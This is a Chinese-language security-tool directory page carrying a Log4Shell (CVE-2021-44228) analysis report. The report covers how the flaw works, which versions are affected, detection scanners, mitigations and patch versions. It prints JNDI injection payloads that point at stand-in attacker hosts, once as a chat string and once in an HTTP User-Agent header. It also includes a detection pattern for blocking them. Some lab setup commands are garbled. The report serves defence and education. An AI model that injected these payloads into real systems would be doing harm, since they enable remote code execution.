Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Log4shell — CVE-2021-44228 | Kitploit
工具/GitHubGitHub/tpdlshdmlrkfmcla/log4shell
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育
GitHubtpdlshdmlrkfmcla/log4shell

Log4shell

CVE-2021-44228

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Igloo Corporation Won Chi-hyeon Log4shell 分析报告

Log4shell

CVE-2021-44228 Log4j 是 Apache 基金会的免费开源、基于 Java 的日志记录组件,适用于各种基于 Java 的服务;它支持通过 JNDI 查找并引用 JDNI 数据与对象(Java LDAP1389 Lookup),并使用通过 JNDI 找到的资源。

下载运行易受攻击服务器的 Docker 镜像文件 Asudo git clone sudo docker build . -t vulnerable-app 将新建的镜像命名为 vulnerable-app,并在当前目录中完成 Docker 镜像构建。

github.com/welk

关闭未使用的易受攻击服务器 docker ps -a 查看所有正在运行的 Docker 镜像 docker container 确认 ID

Log4Shell (CVE-2021-44228) 分析报告

1. 概述

Log4Shell(CVE-2021-44228) 是 Apache Log4j 库中发现的一个**远程代码执行(RCE,Remote Code Execution)**漏洞。
攻击者可利用恶意负载(Payload)执行任意代码,并可能造成大范围的危害。

本报告分析 Log4Shell 的原理、影响、利用案例、检测及应对方法。


2. 漏洞概述

项目描述
漏洞名称Log4Shell
CVE 编号CVE-2021-44228
漏洞类型远程代码执行(RCE)
受影响版本Log4j 2.0-beta9 ~ 2.14.1
已修补版本Log4j 2.15.0 及以上
攻击难度低(仅需输入简单的字符串即可利用)
严重程度🔥 致命(CVSS 10.0)

3. 漏洞原理

Log4Shell 利用 JNDI(Java 命名和目录接口,Java Naming and Directory Interface)查找功能的漏洞,使攻击者能够在远程服务器上执行恶意代码。

3.1 攻击流程

  1. 攻击者向应用程序传递包含恶意字符串的日志消息。
  2. Log4j 在记录日志的过程中执行 JNDI Lookup。
  3. JNDI 从 LDAP、RMI 等远程服务器查询数据。
  4. 从攻击者的服务器加载并运行恶意 Java 类。
  5. 发生远程代码执行(RCE)。

3.2 攻击代码示例

攻击者只需在日志中留下如下字符串即可利用该漏洞。

root@kitploit:~
${jndi:ldap://attacker.com:1389/exploit}
4. 影响范围
Log4Shell 漏洞影响了众多使用 Log4j 的企业和服务。

4.1 受影响的主要服务与系统
- 云服务:AWS、Google Cloud、Microsoft Azure
- 企业级应用:Apache Struts、ElasticSearch、VMware vCenter
- 游戏服务器:Minecraft、Steam
- 各类 Web 应用与服务器:Spring Boot、Tomcat 等

5. 利用案例与攻击示例
5.1 Minecraft 服务器攻击
攻击者可在 Minecraft 聊天框中输入以下字符串来控制服务器。
shell
复制
编辑
${jndi:ldap://attacker.com:1389/exploit}
一旦服务器将其记入日志,就会通过 JNDI Lookup 在攻击者的服务器上执行恶意代码。

5.2 Web 应用攻击
在 HTTP 请求的 User-Agent、Referer、X-Forwarded-For 等会被记录日志的字段中注入恶意负载。
示例:
css
复制
编辑
GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://malicious.com:1389/exploit}
6. 检测与应对方案
6.1 漏洞检测方法

✅ 使用安全扫描器

log4j-scan (https://github.com/fullhunt/log4j-scan)
log4shell-detector (https://github.com/Neo23x0/log4shell-detector)

✅ 检查日志文件

如果日志中出现 `${jndi:ldap://...}` 之类的模式,需要立即响应。

✅ 网络监控

检查是否存在异常的 LDAP、RMI 请求。

6.2 应对方法

✅ 立即处置

升级到 Log4j 2.15.0 及以上版本。
在 Java 运行时设置环境变量:
shell
复制
编辑
-Dlog4j2.formatMsgNoLookups=true
在防火墙及 IDS/IPS 中拦截 `jndi:ldap://` 模式。

✅ 长期安全措施

限制 JNDI 使用并强化安全策略。
部署 WAF(Web Application Firewall)。
定期进行安全检查和漏洞扫描。

7. 补丁与解决方案

| Log4j 版本 | 应对措施 |
|------------|-----------|
| 2.0-beta9 ~ 2.14.1 | 存在漏洞,需要更新 |
| 2.15.0 | 默认禁用 JNDI Lookup |
| 2.16.0 | 完全移除 JNDI 功能 |
| 2.17.0 | 额外的安全加固措施 |

✅ 建议更新至最新版本(2.17.1 及以上)!

8. 结论
Log4Shell(CVE-2021-44228)被认为是近年来最严重的安全漏洞之一。
✅ 及时修补易受攻击的系统并持续进行安全监控是至关重要的。
✅ 必须对所有使用 Log4j 的应用程序进行安全检查。

9. 参考资料
Apache Log4j 官方安全公告
NIST National Vulnerability Database (CVE-2021-44228)
log4j-scan (GitHub)
下载工具